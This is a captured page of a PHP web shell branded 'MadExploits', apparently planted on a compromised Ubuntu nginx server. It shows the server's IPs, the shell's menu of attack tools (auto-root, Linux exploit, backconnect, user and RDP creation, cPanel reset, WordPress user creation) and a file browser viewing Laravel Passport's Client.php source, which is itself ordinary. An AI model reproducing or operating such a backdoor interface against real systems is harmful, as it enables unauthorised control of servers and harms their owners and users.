Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
vendor /
laravel /
passport /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Bridge
[ DIR ]
drwxrwxr-x
Console
[ DIR ]
drwxrwxr-x
Events
[ DIR ]
drwxrwxr-x
Exceptions
[ DIR ]
drwxrwxr-x
Guards
[ DIR ]
drwxrwxr-x
Http
[ DIR ]
drwxrwxr-x
ApiTokenCookieFactory.php
2.07
KB
-rwxrwxr-x
AuthCode.php
1.25
KB
-rwxrwxr-x
Client.php
2.97
KB
-rwxrwxr-x
ClientRepository.php
5.35
KB
-rwxrwxr-x
HasApiTokens.php
1.88
KB
-rwxrwxr-x
Passport.php
15.66
KB
-rwxrwxr-x
PassportServiceProvider.php
8.87
KB
-rwxrwxr-x
PersonalAccessClient.php
627
B
-rwxrwxr-x
PersonalAccessTokenFactory.php
3.52
KB
-rwxrwxr-x
PersonalAccessTokenResult.php
1.15
KB
-rwxrwxr-x
RefreshToken.php
1.61
KB
-rwxrwxr-x
RefreshTokenRepository.php
1.6
KB
-rwxrwxr-x
RouteRegistrar.php
4.63
KB
-rwxrwxr-x
Scope.php
1.08
KB
-rwxrwxr-x
Token.php
3.09
KB
-rwxrwxr-x
TokenRepository.php
2.9
KB
-rwxrwxr-x
TransientToken.php
610
B
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Client.php
<?php namespace Laravel\Passport; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Str; class Client extends Model { /** * The database table used by the model. * * @var string */ protected $table = 'oauth_clients'; /** * The guarded attributes on the model. * * @var array */ protected $guarded = []; /** * The attributes excluded from the model's JSON form. * * @var array */ protected $hidden = [ 'secret', ]; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'grant_types' => 'array', 'personal_access_client' => 'bool', 'password_client' => 'bool', 'revoked' => 'bool', ]; /** * Bootstrap the model and its traits. * * @return void */ public static function boot() { parent::boot(); static::creating(function ($model) { if (config('passport.client_uuids')) { $model->{$model->getKeyName()} = $model->{$model->getKeyName()} ?: (string) Str::orderedUuid(); } }); } /** * Get the user that the client belongs to. * * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function user() { return $this->belongsTo( config('auth.providers.'.config('auth.guards.api.provider').'.model') ); } /** * Get all of the authentication codes for the client. * * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function authCodes() { return $this->hasMany(Passport::authCodeModel(), 'client_id'); } /** * Get all of the tokens that belong to the client. * * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function tokens() { return $this->hasMany(Passport::tokenModel(), 'client_id'); } /** * Determine if the client is a "first party" client. * * @return bool */ public function firstParty() { return $this->personal_access_client || $this->password_client; } /** * Determine if the client should skip the authorization prompt. * * @return bool */ public function skipsAuthorization() { return false; } /** * Determine if the client is a confidential client. * * @return bool */ public function confidential() { return ! empty($this->secret); } /** * Get the auto-incrementing key type. * * @return string */ public function getKeyType() { return Passport::clientUuids() ? 'string' : $this->keyType; } /** * Get the value indicating whether the IDs are incrementing. * * @return bool */ public function getIncrementing() { return Passport::clientUuids() ? false : $this->incrementing; } }
Close